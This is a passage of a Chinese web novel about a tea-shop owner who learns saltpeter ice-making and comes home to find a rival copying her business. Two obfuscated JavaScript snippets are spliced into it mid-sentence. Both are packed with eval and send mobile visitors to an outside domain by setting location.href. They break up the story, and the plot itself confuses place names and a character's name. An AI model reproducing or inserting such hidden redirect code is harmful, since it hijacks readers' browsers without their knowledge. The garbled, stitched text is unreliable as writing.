“别闹,”浔阳秋捏了捏她的鼻尖,“冰化了人家要受罚的。你忍心看这位大叔挨板子?” 呆六娘撅着嘴摇头,眼睛却还恋恋不舍地瞟着马车。 回到火堆旁,江心月若有所思地搅动着碗里的羊肉汤。汤面上浮着的油花在火光映照下泛着金光。“马上就是仲夏日了,”她轻声说,“要是有冰,倒是能做不少消暑的饮子。” “难啊。”都文曜撕着羊肉摇头,油光沾满了他的手指,“冰价贵如金,寻常人家哪用得起。去年伏天,一块巴掌大的冰要卖二两银子呢。” 呆六娘嘴里塞满羊肉,含糊不清地嚷道:“我要吃冰酪!就是上回在城里吃过的那种,浇了蜂蜜和果酱的!” 江心月被她逗笑了,用帕子擦掉她脸上的油渍:“就知道吃。”转头对都文曜道,“都公子,盐城离这儿多远?” 都文曜挑了挑眉,把匕首插回腰间皮鞘:“两日路程。怎么,你想去?” 浔阳秋眼睛一亮,放下手中的碗:“盐城的冰户确实有独门秘法,能在盛夏存冰。我听说他们挖了很深的地窖,用特殊方法隔绝热气。”他转向江心月,眼中闪着兴奋的光,“若是能学来,珍珠坊夏日卖冰饮,必能大赚。” “真的吗?”呆六娘激动地跳起来,差点打翻面前的汤碗,“那我们是不是可以天天吃冰酪了?” 江心月按住她乱晃的小手:“别急。”她看向都文曜,“都公子,盐城可方便去?” 都文曜爽快地拍了拍大腿:“这有什么不方便的。反正咱们也不急着回去,明日就改道盐城!”他转头对驿站的小二喊道,“伙计,再加壶酒!” 火堆噼啪作响,映照着众人兴奋的脸庞。江心月轻轻搅动着碗里的汤,已经开始在心里盘算冰饮的配方。浔阳秋则向都文曜详细询问着盐城的情况,时不时在本子上记几笔。呆六娘靠在江心月膝头,眼皮已经开始打架,嘴里还嘟囔着“冰酪”。 夜深了,驿站的灯笼在风中轻轻摇晃。都文曜打了个哈欠:“明日一早出发,争取天黑前赶到清水镇。”他起身拍了拍衣摆上的草屑,“各位早些歇息吧。” 江心月抱起已经睡着的呆六娘,小姑娘在她怀里蹭了蹭,像只小猫似的。浔阳秋拿起搭在椅背上的外衣,轻轻盖在呆六娘身上:“我送你们回房。” 月光如水,洒在驿站的石板路上。江心月低头看着怀里熟睡的呆六娘,轻声道:“这小丫头,今天可玩疯了。” 浔阳秋笑了笑,伸手拨开垂到呆六娘脸上的发丝:“她倒是提醒了我们。夏日冰饮确实是个好主意,只是不知道盐城的冰户肯不肯传授秘法。” “总得试试。”江心月抬头看了看满天星斗,“若是成了,明年夏天珍珠坊的生意就不愁了。” 他们停在客房门前,窗棂里透出微弱的灯光。浔阳秋轻轻推开门:“需要什么就喊我,我住隔壁。” 江心月点点头,小心地抱着呆六娘进屋。她把小姑娘放在床上,脱掉沾了油渍的外衣,又打来温水给她擦了脸和手。呆六娘在睡梦中咂了咂嘴,翻了个身继续睡去。 窗外,虫鸣声声。江心月坐在窗边,借着月光在本子上写下明天的计划。墨水在纸上晕开,像一朵朵小花。她想起小时候,父亲带她去北方见过的冰雕,晶莹剔透,在阳光下闪闪发光。 “三娘...”呆六娘在梦中呓语,“冰酪...多加蜂蜜...” 江心月忍不住笑了,轻轻合上本子。夜风拂过窗棂,带着夏日特有的温热。明天,他们将踏上前往盐城的路,或许会为珍珠坊带来新的机遇。想到这里,她的心里涌起一股久违的期待。 远处传来更夫的梆子声,夜已深了。江心月吹灭油灯,躺在床上。身旁的呆六娘像只小火炉,散发着温暖。她轻轻搂住小姑娘,闭上眼睛,梦里全是晶莹的冰块和甜美的冰酪。 第二日清晨,天刚蒙蒙亮,驿站后院就忙碌起来。马夫正给马匹套上辔头,车辕发出吱呀的声响。呆六娘揉着眼睛被江心月抱上马车,小脑袋一点一点的,像只没睡醒的小鸡崽。 “再睡会儿。”江心月把薄毯盖在她身上,转头对都文曜说,“都公子,咱们走哪条路?” 都文曜展开一张泛黄的地图,指着上面蜿蜒的线条:“走官道虽远些,但胜在平坦。若是抄近路,怕是小丫头受不住颠簸。” 浔阳秋检查完马鞍,走过来补充道:“沿途经过三个驿站,天黑前能到清水镇。” 车队缓缓驶出驿站,转向东北方的盐城。太阳渐渐升高,晒得车顶发烫。呆六娘趴在车窗上,小脸晒得通红,额前的碎发被汗水黏在皮肤上。 “忍一忍,到了盐城就有冰吃了。”江心月用湿帕子给她擦脸,帕子很快变得温热。她从水囊里倒出最后一点凉水,沾湿帕子又擦了一遍。 呆六娘蔫蔫地靠在车厢上:“三娘,我嗓子冒烟了...” 正午时分,车队在路边一处茶棚停下歇脚。茶棚简陋,几根竹竿撑着茅草顶,四面透风。老板是个精瘦的老汉,正有气无力地摇着蒲扇。 “几位客官用点什么?”老汉拎着茶壶过来,壶嘴冒着若有若无的热气。 都文曜抹了把脸上的汗:“有什么凉快的?” 老汉苦笑着摇头:“这鬼天气,井水都是温的。茶都晒成温的了,客人嫌不够凉快,生意难做啊。”他给每人倒了碗淡茶,果然只是微温。 江心月抿了一口,茶味苦涩,确实难以下咽。她环顾四周,发现茶棚里除了他们,只有两个挑夫在角落里打盹。 “老板,若是能有冰镇酸梅汤,您愿意出多少钱买冰?”江心月突然问道。 老汉眼睛一亮,蒲扇都忘了摇:“真有冰?那二十文一碗都有人抢着要!”他压低声音,“不瞒您说,前几日有个贩冰的车队路过,一碗冰镇绿豆汤卖到三十文呢。” 离开茶棚后,江心月坐在马车里,手指无意识地在膝上轻敲,像是在算账。浔阳秋打马靠近车窗,马鞭在手中轻转:“在想什么?” “我在算账。”江心月眼睛亮晶晶的,从袖中掏出个小算盘,“若是能学会制冰,一个夏天赚的钱,够珍珠坊半年的开销了。”她纤细的手指在算盘上飞快拨动,珠子碰撞发出清脆的声响。 都文曜在前头听见,勒马回头笑道:“江小姐倒是会算计。不过盐城的冰户向来秘技自珍,怕是不好学。” “总要试试。”江心月收起算盘,摸了摸身边昏昏欲睡的呆六娘,“大不了花钱买他们的冰。”她望向远处起伏的山峦,已经开始盘算要带多少冰回去。 车队继续前行,路面渐渐变得崎岖。呆六娘被颠得东倒西歪,终于忍不住抱怨 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晚饭后,江心月坐在院子里乘凉。浔阳秋拿着两盏灯笼过来,递给她一盏:“明日就能到盐城了。” “嗯。”江心月接过灯笼,烛光在她脸上投下柔和的光晕,“我在想,若是冰户不肯传授技艺,我们能不能想别的法子?” 浔阳秋在她身边坐下:“比如?” “比如合伙。”江心月眼睛在灯光下闪闪发亮,“我们出银子,他们出冰,利润分成。” 远处传来打更的声音,夜风带着白天的余温拂过庭院。两人又聊了些细节,直到呆六娘揉着眼睛出来找人才各自回房。 第三天行程更加闷热。中午路过一个小村庄时,他们看见几个孩童围着一辆运冰车,眼巴巴地看着车上滴落的水珠。车夫凶巴巴地赶人:“去去去,碰坏了冰把你们卖了都赔不起!” 呆六娘扒着车窗看,小脸上写满不解:“三娘,为什么冰这么金贵?” 江心月摸摸她的头:“因为只有盐城的人会在夏天制冰啊。” 傍晚时分,盐城高大的城墙终于出现在视野中。夕阳的余晖照在城墙上,折射出奇异的光彩,像是撒了一层盐晶。城门口排着长队,都是等着进城的运冰车,车夫们互相打着招呼,空气中弥漫着咸湿的气息。 呆六娘被江心月摇醒,迷迷糊糊揉着眼睛:“到了吗?” “到了。”江心月指着远处闪闪发光的城墙,“那就是盐城,盛产冰和盐的地方。” 排队进城时,都文曜跟前面车夫搭话:“老哥,今年冰价如何?” 车夫抹了把汗:“贵着呢!一尺见方的冰块要一两二钱银子,比去年涨了三成。”他压低声音,“听说是因为官府要修冰窖,加收了冰税。” 进城后,众人才发现这里与众不同。街道两旁的店铺门口都挂着厚厚的草帘,伙计们进出时总是快速掀帘,生怕热气进入。街上的行人也行色匆匆,似乎都不愿在烈日下多待片刻。 “冰糖莲子羹!冰镇酸梅汤!”一个头戴草帽的小贩推车经过,车上木桶冒着丝丝白气,在炎热的空气中格外醒目。 呆六娘立刻精神了,趴在车窗上眼巴巴地看着:“三娘,我想喝!” 都文曜拦住小贩,买了几碗。冰凉的酸梅汤盛在粗瓷碗里,碗壁凝结着水珠,拿在手里凉丝丝的。呆六娘迫不及待地喝了一大口,冻得直缩脖子,又舍不得吐出来,那小模样逗得众人直乐。 江心月小口啜饮,酸甜冰凉的液体滑过喉咙,驱散了连日的暑气。她注意到碗里的冰块形状规整,像是特意凿过的。 找客栈安顿时,掌柜是个满脸褶子的老头,正打着算盘记账。听说他们想学制冰,老头停下算盘,连连摆手:“客官别费心了,冰户的技艺都是祖传的,连女儿都不教,何况外人。” 江心月不死心,从荷包里取出一小块碎银推过去:“掌柜的可知哪位冰户最好说话?” 掌柜摸了摸银子,思索片刻:“城西的杨老憨或许能通融。他去年伤了腿,家里就剩个闺女操持,日子不太好过。”他压低声音,“不过您可别说是我告诉的,坏了规矩我可担待不起。” 安顿好行李,江心月站在窗前望着盐城的夜景。远处传来凿冰的叮当声,空气中飘着淡淡的咸味。 明天,他们将去拜访这位杨老憨,或许能为珍珠坊打开新的局面。 想到这里,她的手指不自觉地敲击窗棂,像是已经拨起了心爱的算盘。 33. 制冰 次日天刚亮,江心月就醒了。她轻手轻脚地起身,推开客栈的窗户。盐城特有的咸湿空气扑面而来,远处传来渔民出海的号子声。呆六娘还在床上酣睡,小脸埋在枕头里,发出轻微的鼾声。 “六娘,该起床了。”江心月轻轻摇醒她,“今天要去拜访杨师傅。” “三娘...”呆六娘揉着眼睛坐起来,小脸上还带着枕头印:“杨师傅家有冰吗?” “去了就知道。”江心月帮她梳好辫子,又取出件干净的鹅黄色裙子,“今天穿这个,杨师傅家有个姐姐,你要有礼貌。” 楼下,都文曜和浔阳秋已经备好马车。都文曜正在检查马鞍,见她们下来,笑着招呼:“小馋猫今天起得倒早。” 呆六娘做了个鬼脸,一溜烟钻进了马车。 按掌柜指的路,他们来到城西。这里的房屋比城中心简陋许多,墙上糊的泥灰都剥落了大半。杨家的院子更显寒酸,竹篱笆歪歪斜斜,门口的草帘破了个大洞,用粗线勉强缝着。 一个十七八岁的姑娘正在院里晒海带,粗布衣裙上沾着盐渍。见有生人来,她立刻站直身子,手中的海带掉在地上。 “姑娘别怕。”都文曜上前拱手,声音放得很轻,“我们想拜访杨师傅,谈谈买冰的事。” 姑娘警惕地打量着他们,目光在呆六娘身上停留片刻。小丫头今天特意戴了朵绢花,正扒着篱笆好奇地往里看。 “几位稍等。”姑娘神色稍缓,转身进了屋,海带在她脚边拖出一道湿痕。 不一会儿,一个拄拐的中年汉子一瘸一拐地出来。他面容憨厚,眼睛却亮得惊人,像能看透人心似的。 “几位要买冰?”杨老憨的声音沙哑,像是常年被海风呛的。 江心月上前行礼,姿态优雅得体:“杨师傅,我们想请教制冰之法。若您愿意传授,价钱好商量。” 杨老憨脸色一变,拐杖重重敲在地上:“姑娘说笑了,这手艺是祖传的,不教外人。”说着就要转身回屋,动作太急差点绊倒。 “杨师傅且慢。”浔阳秋掏出沉甸甸的钱袋,“我们诚心求教,这是定金。” 杨老憨瞥了眼钱袋,摇摇头:“不是钱的事。盐城有规矩,泄密者逐出城去。”他拍了拍残废的腿,“我虽穷,也不能坏了祖训。” 气氛一时僵住。呆六娘突然跑到杨老憨跟前,仰着小脸:“伯伯,你腿疼不疼?我帮你揉揉。”说着就要去摸他的伤腿。 杨老憨一愣,神色柔和下来:“小丫头真乖。伯伯这是老伤了,不碍事。” 江心月见状,轻声道:“杨师傅,我们不是要抢您生意。我们在北方开茶坊,只想学些存冰的法子,好做消暑饮子。” 这时杨姑娘端着茶盘出来,粗瓷碗里的茶水冒着热气:“爹,北方那么远,碍不着咱家生意。” 杨老憨接过茶碗,沉思良久,突然问:“你们会算账不?” 都文曜和浔阳秋面面相觑。江心月点头:“略通一二。” “这样。”杨老憨一咬牙,“我教你们个简单的制冰法,你们帮我闺女把今年夏天的账理清楚。”他无奈地看了眼女儿,“那丫头算账总出错,去年亏了不少。” 杨姑娘涨红了脸:“爹!”手里的茶盘差点打翻。 众人一口答应。杨老憨领着他们来到后院,这里比前院整洁许多,角落里堆着许多木桶和陶罐。最引人注目的是那口深井,井沿磨得发亮,旁边放着几个特制的双层陶罐。 “这就是硝石井。”杨老憨用拐杖敲了敲井沿,“我们盐城地下有硝石矿脉,井水含硝量高。” 他让女儿打上来一桶井水,水色微浑,泛着奇异的光泽。杨老憨舀了一瓢递给江心月:“尝尝。” 江心月小心抿了一口,眉头立刻皱起——又苦又涩,还带着股金属味。 “难喝吧?”杨老憨笑了,“但这水能制冰。”他指向那些双层陶罐,“外罐装井水,内罐装干净的泉水。” 杨姑娘已经准备好了材料。她将井水倒入大陶罐,又把一个小陶罐放在中间,往小罐里注入清冽的山泉水。 “看好了。”杨老憨用木棒搅动外罐的井水,“要一直搅,直到小罐里的水结冰。” 江心月认真观察着。井水在搅拌下泛起白沫,散发出微微的热气。大约过了半个时辰,杨姑娘突然喊道:“结冰花了!” 江心月凑近一看,小罐内壁果然出现了细密的冰晶。又过了两刻钟,水面完全结了一层薄冰。 “这就成了?”江心月惊讶地问。 杨老憨摇摇头:“这才刚开始。”他让女儿把结了冰的小罐取出,倒掉外罐已经变温的井水,“硝水晒干后能重复使用。关键是掌握比例和时机。” 整个上午,江心月跟着杨老憨反复试验。她发现外罐井水的量要刚好漫过内罐的三分之二,搅拌的速度不能太快也不能太慢。最关键是温度——要在一天中最热的时辰制冰,效果最好。 “为什么非要大热天制冰?”江心月擦着汗问。 杨老憨神秘地笑了:“硝石吸热,天越热吸得越快。就像人干活,越累越能吃。” 老人虽然腿脚不便,但一说到制冰就精神抖擞。他演示如何调配硝石水比例,如何控制温度,江心月认真记在本子上,不时提问。 浔阳秋和都文曜则带着呆六娘在城里采购制冰要用的器具。小丫头对盐城的一切都充满好奇,在杂货铺里东摸摸西看看。 “都哥哥,这个筛子好奇怪!”呆六娘举着个铜丝编的细筛。 店老板笑道:“小丫头好眼力,这是专门筛硝石用的。” 回杨家的路上,呆六娘的小布袋已经装满了各种稀奇玩意:一小包海盐、几个彩贝壳、还有块据说是美人鱼眼泪的透明石头。 “三娘你看!”一回到杨家,呆六娘就献宝似的掏出贝壳,“杨姐姐送我的,说是海里来的!” 江心月正在记录制冰的步骤,闻言笑着摸摸她的头:“真漂亮。去谢谢杨姐姐没有?” “谢啦!我还帮她穿了好多珠子呢!”呆六娘得意地说,“杨姐姐说我可以当她的妹妹!” 都文曜放下几个木箱:“这是按杨师傅单子买的陶罐,还有搅拌用的檀木棒。” 浔阳秋则展开一张图纸:“我画了冰窖的构造,杨师傅说这样最保温。” 呆六娘献宝似的掏出个小陶罐:“杨姐姐说这个最适合初学者用!” 江心月看着刚制出的一小块冰,在阳光下晶莹剔透,心里已经开始盘算珍珠坊的冰窖该怎么改建。 下午的实践更有趣。杨老憨教他们用不同比例的硝水试验。江心月发现,井水与清水的比例在七比三时,结冰速度最快。 “三娘,我能试试吗?”呆六娘眼巴巴地问。 杨老憨给她一个小号的陶罐:“来,伯伯教你。” 小丫头学得认真,小手握着木棒慢慢搅动,小脸憋得通红。突然她惊叫一声:“出水了!”原来她搅得太用力,水溅了一身。 众人大笑。杨姑娘拿来干布给她擦脸:“六娘真厉害,第一次就差点成功。” 傍晚时分,江心月终于独立制出了第一罐完整的冰。看着晶莹剔透的冰块在夕阳下闪闪发光,她忍不住伸手摸了摸,凉意顺着指尖直达心底。 “成了!”她惊喜地喊道。 杨老憨拄着拐杖过来检查,满意地点头:“江姑娘学得快。明天教你存冰的法子。” 晚饭后,江心月在灯下仔细记录今天的发现。浔阳秋敲门进来,手里拿着几页纸:“杨姑娘给的账本,我发现个问题。” 原来盐城的冰税比想象中高很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436181|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杨家去年大半利润都交了税。江心月皱眉思索:“或许我们可以帮他们优化下销售方式。” 第二天,杨老憨带他们去了地窖。地窖挖得很深,墙壁用特殊黏土夯实,顶上铺着厚厚的稻草。 “存冰要三层保护。”杨老憨指着墙角的木箱,“先用油纸包,再裹干草,最后装进木箱。地窖要定期撒硝石粉防潮。” 江心月注意到地窖角落堆着许多小布袋,杨姑娘解释说那是用来调节湿度的石灰包。 “最关键是取冰。”杨老憨严肃地说,“要快,要准,不能让热气进去。”他演示了一遍动作,快如闪电。 与此同时,浔阳秋在帮杨姑娘整理账册。杨家的小账房闷热潮湿,账本上沾着盐粒和茶渍。 “这一栏记错了。”浔阳秋指着某页说,“应该是三两七钱,不是七两三钱。” 杨姑娘凑过来看,发丝扫过浔阳秋的手背:“难怪总觉得钱对不上...”她突然意识到距离太近,红着脸退开,“我、我去倒茶。” 下午,他们开始学习冰品制作。杨姑娘端出一盘晶莹的冰块,用特制的刨子刨出细碎的冰屑。 “这是基础冰酪。”她往冰屑上浇了一勺蜂蜜,又撒了些干果碎,“城里最便宜也要卖十五文一碗。” 呆六娘迫不及待地尝了一口,冻得直哈气,又舍不得吐出来:“好...好冰...但是好好吃!” 江心月试着做了份改良版,加入了她带来的茶叶和桂花蜜。杨老憨尝过后连连称赞:“这个味道新奇,肯定好卖!” 第三天,江心月已经能熟练地完成整套流程。从打井水到制成冰品,只要两个时辰。浔阳秋则帮杨家重新整理了账目,设计了新的记账方式。 杨老憨看着江心月独立制出的一块完整的冰,满意地点头:“江姑娘心灵手巧,已经学得七八分了。剩下的就靠自个儿琢磨了。” 江心月郑重地行了一礼:“杨师傅大恩,没齿难忘。”她从袖中取出一张银票,“我想跟您长期合作。您供硝石,我负责在北方推广冰品,利润分成。” 杨老憨沉思良久,终于点头:“江姑娘是实在人。不过...”他压低声音,“盐城有冰行,垄断买卖。你们运硝石出去要小心。” 杨老憨犹豫片刻,从怀里掏出本破旧的小册子,“这是我这些年记的笔记,你拿去看吧。” 离开盐城那日,杨姑娘特意来送行。她给呆六娘做了条贝壳项链,每一颗贝壳都精心打磨过。 “姐姐,我会想你的。”呆六娘抱着她不撒手,小脸埋在她腰间。 杨姑娘眼圈微红:“等你家冰窖修好了,姐姐去看你。” 车队多了辆马车,载满了硝石和制冰器具。呆六娘趴在车窗上,直到看不见杨姐姐的身影才坐回来,小手不停地摸着脖子上的贝壳项链。 “三娘,我们回去就做冰酪吗?”呆六娘眼巴巴地问。 江心月捏捏她的小脸:“先得把冰窖修好。”她翻开杨老憨给的小册子,“等天最热的时候,让你第一个尝。” 都文曜骑马在前头开路,回头笑道:“六娘,回去第一个冰酪给谁吃?” 呆六娘掰着手指数:“三娘、秋儿哥、都大哥、陈婆婆...”数到后来把自己绕晕了,惹得众人大笑。 马车转过一个山坡,远处出现一片荷塘。粉白的荷花在晨风中摇曳,露珠在荷叶上滚动,在阳光下闪闪发亮,就像他们这次盐城之行的收获,晶莹剔透,充满希望。 江心月望着窗外掠过的景色,手指轻轻抚过小册子的扉页——那里有杨老憨歪歪扭扭的字迹:“制冰如做人,心要静,手要稳。”她嘴角泛起微笑,已经开始期待回到珍珠坊大展身手了。 呆六娘靠在她身边,小手里攥着杨姐姐给的贝壳,嘴里哼着刚学的盐城小调。 34. 第 34 章 永安城的城门在晨光中显得格外高大,青灰色的城砖上满是爬墙虎。守城的士兵打着哈欠,正挨个检查入城的商队,长枪靠在肩头,在石板路上投下长长的影子。 “新鲜出炉的肉包子——”一个头发花白的老汉推着独轮车从旁边经过,蒸笼里冒出腾腾热气,混合着葱肉香气的白雾在晨风中飘散。 呆六娘趴在马车窗边,小鼻子一抽一抽地跟着香气转动,肚子适时地发出“咕噜”一声。她低头揉了揉瘪瘪的肚子,眼巴巴地看着那笼包子越来越远。 “浔阳公子回来了?”领头的校尉原本倚在城门边打盹,突然一个激灵站直了身子,三步并作两步迎上来,抱拳行礼时铠甲哗啦作响,“这次南下可还顺利?” 浔阳秋勒住缰绳,利落地翻身下马,马蹄铁在石板上磕出清脆的声响。他拍了拍校尉的肩膀,铠甲冰凉的温度透过掌心:“托你的福。”说着从马鞍袋里掏出个油纸包递过去,“尝尝盐城的蜜饯,特意给你带的。记得你娘爱吃这个。” 校尉接过油纸包,笑得眼睛眯成一条缝,脸上的皱纹都舒展开来:“公子记性真好!”他转头对身后的士兵喊道,声音洪亮得惊飞了墙头的麻雀,“放行!都精神着点!” 呆六娘趴在车窗上,小脸被太阳晒得通红,皱成一团:“三娘,永安城怎么比盐城还热啊?”她用手扇着风,额前的碎发湿漉漉地贴在脑门上。 江心月用手帕给她擦擦汗:“因为这里没有海风。”她望向窗外熟悉的街景,心远处传来打铁铺“叮叮当当”的声响,一切都和离开时一样,又似乎有些不同。 车队在岔路口分开。都文耀拍了拍浔阳秋的肩膀:“我和浔阳先去复命,晚些时候再来找你们。”他朝马车里的呆六娘眨眨眼,脸上的严肃表情柔和了几分,“给你们带宫里的冰酪尝尝,新来的御厨手艺不错。” 浔阳秋点点头,转向江心月时欲言又止,最后只轻声道:“当心些。”阳光照在他的侧脸上,勾勒出一道柔和的轮廓。 呆六娘拽着江心月的袖子往西市走,小短腿迈得飞快。忽然她一个急刹车,指着路边惊呼:“三娘快看!”她的声音引来了几个路人的目光。 只见街对面新开了一家“赵氏珍珠坊”,招牌比他们的整整大了一圈,门口排着长队,几个伙计正在给客人分发试饮的小杯奶茶,殷勤的吆喝声隔着街都能听见:“免费品尝!赵氏秘制奶茶!” 江心月的脚步不自觉地放慢了。再往前走,竟又看见两家分号,同样的装潢,同样的招牌,甚至连伙计穿的青色短衫都一模一样。 “这...”江心月停在路中间,身后的行人差点撞上她。一股凉意从脚底窜上来,心里突然升起不好的预感。 君敛台的书房里,铜盆里的冰块已经化了一半,水珠顺着盆沿滴落在地上,带来丝丝凉意。窗外的知了声嘶力竭地叫着,衬得书房更加闷热。 “王爷,浔阳秋和都文曜求见。”侍卫在门外轻声禀报。 谢罕正在批阅奏折,听到通报头也不抬:“进来。” 房门推开,浔阳秋和都文曜一前一后走进来。 “王爷,岭南之行有意外发现。”浔阳秋行礼后直入主题,从袖中取出一本薄册,“李茂才与漕帮的阿水勾结,借运茶之名走私铁器。这是盐帮提供的账册副本。” 谢罕手中的朱笔一顿,抬眼看着那本账册。都文曜上前一步补充道:“每船茶叶下面都藏着精铁,运往海外岛国。我们亲眼见到他们在盐城码头卸货。” 都文曜犹豫了一下,还是开口:“王爷,此事是阿水受人胁迫,漕帮并不知情。阿水那小子也是被逼无奈,他妹妹被李茂才的人控制着。” 谢罕接过账册,指尖触到纸张时微微发凉。他慢慢翻看着,眉头越皱越紧。书房里只剩下纸张翻动的沙沙声和铜盆里的滴水声。 “还有一事。”浔阳秋压低声音,“李茂才在盐城私自加征冰税,中饱私囊。杨家父女可以作证。” 都文曜从怀中取出一张单据:“这是盐城县令偷偷给我们的税单副本,上面有李茂才的私印。” 谢罕将账册和税单并排放在桌上,指尖在桌面轻叩几下:“这事牵扯太大,需从长计议。”他忽然话锋一转,看向浔阳秋,“听说你们带回了制冰之法?” 浔阳秋嘴角不自觉上扬:“是江姑娘学来的。岭南的制冰师傅教了她硝石制冰的法子,她打算在珍珠坊推出冰饮。她学得可认真了,天天蹲在冰窖里研究。”“ 都文曜笑着插话:“那丫头可聪明了,还改良了配方,呆六娘那小家伙天天缠着要试喝。” 谢罕难得地笑了笑,起身走到窗前。窗外一株老槐树投下斑驳的树影,几只麻雀在枝头跳来跳去。他背着手站了一会儿,转身看着二人。 “李茂才的事先不要声张,我自有安排。”谢罕的目光在都文曜脸上停留片刻,“文曜,漕帮那边你要安抚好,别让他们自乱阵脚。去查查漕帮近半年的船运记录,特别是与李茂才有往来的船只。” 都文曜拱手应下:“属下明白。漕帮上下对朝廷忠心耿耿,绝不会包庇罪犯。” “浔阳,”谢罕继续吩咐,“你去见见杨家父女,把证词录详细些。记得多带几个侍卫,别让人钻了空子。” 浔阳秋点头:“属下这就去办。不过王爷,那李茂才在朝中党羽众多,恐怕......” “无妨。”谢罕摆摆手,走回书案前坐下,“跳梁小丑罢了。你们先去忙吧,三日后我要看到详细呈报。” 二人告退后,谢罕重新坐回书案前。他拿起那本账册又仔细看了一遍,朱笔在几个关键名字上轻轻圈点。窗外的知了突然停了叫声,书房里一时安静得能听见冰块融化的细微声响。 谢罕将账册锁进抽屉,取过另一份奏折批阅。笔尖刚触到纸面,又想起什么似的顿了顿。他唤来门口的侍卫:“去库房取二两上好的明前龙井,用那个青瓷罐装着,给浔阳秋送去。” 侍卫刚要转身,谢罕又补充道:“就说......”他略一思索,“就说给江姑娘试制冰茶用。让她做好了先送些来王府尝尝。” 侍卫领命而去。谢罕重新提起朱笔,嘴角带着若有若无的笑意。他蘸了蘸朱砂,在奏折上写下批语,笔走龙蛇,字迹遒劲有力。 夕阳西沉,江心月牵着呆六娘的手站在珍珠坊门前。往日这个时候,店门口早就排起了长队,可如今门可罗雀,只有几片落叶在台阶上打着转。 “三娘...”呆六娘仰起小脸,不安地拽了拽江心月的袖子,“怎么一个人都没有啊?” 店里传来“啪嗒”一声响。陈婶正背对着门口擦桌子,听见动静猛地转身,手里的抹布掉进了水桶,溅起的水花打湿了她的裙角。 “三娘!你们可算回来了!”陈婶三步并作两步冲过来,一把抓住江心月的手腕。她的手指冰凉,掌心却冒着汗,“那挨千刀的赵浩广... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444612|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们刚走没两天,他就撕了协议...” 江心月心头猛地一跳,手指不自觉地收紧,握得呆六娘“哎哟”一声。她连忙松开手:“怎么回事?” “他带着衙门的人来,说咱们的契约不作数了。”陈婶气得直拍桌子,震得桌上的茶盏叮当作响,“阿尔罕去理论,反被他们关了大牢,整整三天才放出来!” 呆六娘原本还抱着从岭南带回来的糖包,听到这话猛地一愣神,糖包掉在地上,散落出几块晶莹的冰糖。她的小脸一下子垮了下来:“我们的奶茶方子...当时就不该教他!”说着说着,眼圈就红了。 江心月站在原地,手指无意识地绞着衣角。她突然想起赵浩广当初来学艺时的样子——那么的真诚,殷勤地帮忙搬货,认真地记着每一个步骤... “原来如此。”她轻声说,声音冷得像冰,“他早就计划好了。” 陈婶用围裙抹了把眼泪:“现在满城都是''赵氏珍珠坊'',价钱比咱们便宜三成。那些老主顾起初还念着旧情,可时间一长...”她的声音越来越小,最后叹了口气。 正说着,门帘被掀开,阿尔罕走了进来。他瘦了一圈,眼下带着青黑,看见江心月时却露出笑容:“回来了?岭南的糖...” 话没说完,江心月突然上前一步,抓住他的手腕:“他们打你了?” 阿尔罕的手腕上有一圈明显的红痕,像是被绳索勒过的痕迹。阿尔罕下意识想抽回手,却在半途停住了,只是轻轻转了下手腕,让袖子遮住了伤痕。 “没事,就关了几日。”他故作轻松地说,目光扫过空荡荡的店面,“人都走完了,原料也被官府查封了大半。就剩下些粗茶和蜂蜜,我都藏在后院的地窖里了。” 江心月的手指微微发抖,她松开阿尔罕。 “赵浩广现在在哪儿?”她问,声音平静得可怕。 陈婶和阿尔罕交换了个眼神。陈婶压低声音:“天天在城东的新铺子里坐镇,听说还请了舞狮队,热闹得很。昨天王婶去看过,说排队的人都拐到隔壁街去了。” 呆六娘蹲在地上捡着散落的糖块,小手脏兮兮的:“三娘,我们是不是...是不是要没饭吃了?”她的声音带着哭腔。 江心月蹲下身,用手帕轻轻擦去呆六娘脸上的泪水和手上的灰尘:“不会的。”她把糖块重新包好,塞回呆六娘手里,“还记得我们在岭南学的硝石制冰吗?” 阿尔罕眼睛一亮:“你是说...” “赵浩广偷走的只是奶茶方子。”江心月站起身,目光扫过店里每一个角落,“但他偷不走我们学来的新本事。” 陈婶突然拍了下大腿:“对了!昨天周掌柜还来打听你们什么时候回来,说想谈冰饮生意的事!” 江心月点点头,走到后院推开窗户。夕阳的余晖照进来,映在她坚定的侧脸上:“明天一早,阿尔罕去联系周掌柜。陈婶把地窖里的原料清点一下。六娘...” 呆六娘立刻站得笔直,小手举得高高的:“我、我可以试喝新饮品!” 江心月终于露出一丝笑意:“对,你最擅长这个。”她转身看着大家,“赵浩广以为这样就能打垮我们,可他忘了,珍珠坊最值钱的从来不是方子...” “是人。”阿尔罕接话道,揉了揉呆六娘的脑袋,“还有我们六娘这张刁钻的小嘴。” 江心月看着阿尔罕手腕上的红痕,这笔帐她江心月绝不会就这么算了。 35. 岭南行之黄泥淋制糖法 湖面泛着粼粼波光,小船轻轻摇晃。呆六娘趴在船边,小手拨弄着清凉的湖水,溅起一串晶莹的水珠,时不时发出咯咯的笑声。 江心月坐在船尾,看着两岸垂柳依依,心情也跟着舒畅起来。“六娘,当心别掉下去。”她伸手拉住呆六年的后衣领。 “三娘你看!”呆六娘突然指着岸边,“那里冒烟呢!” 浔阳秋顺着她的目光望去:“确实是个糖寮。看烟囱冒着烟,应该正在熬糖。” 都文曜让船夫靠岸:“既然遇上了,不如去看看?六娘不是最爱吃糖吗?” 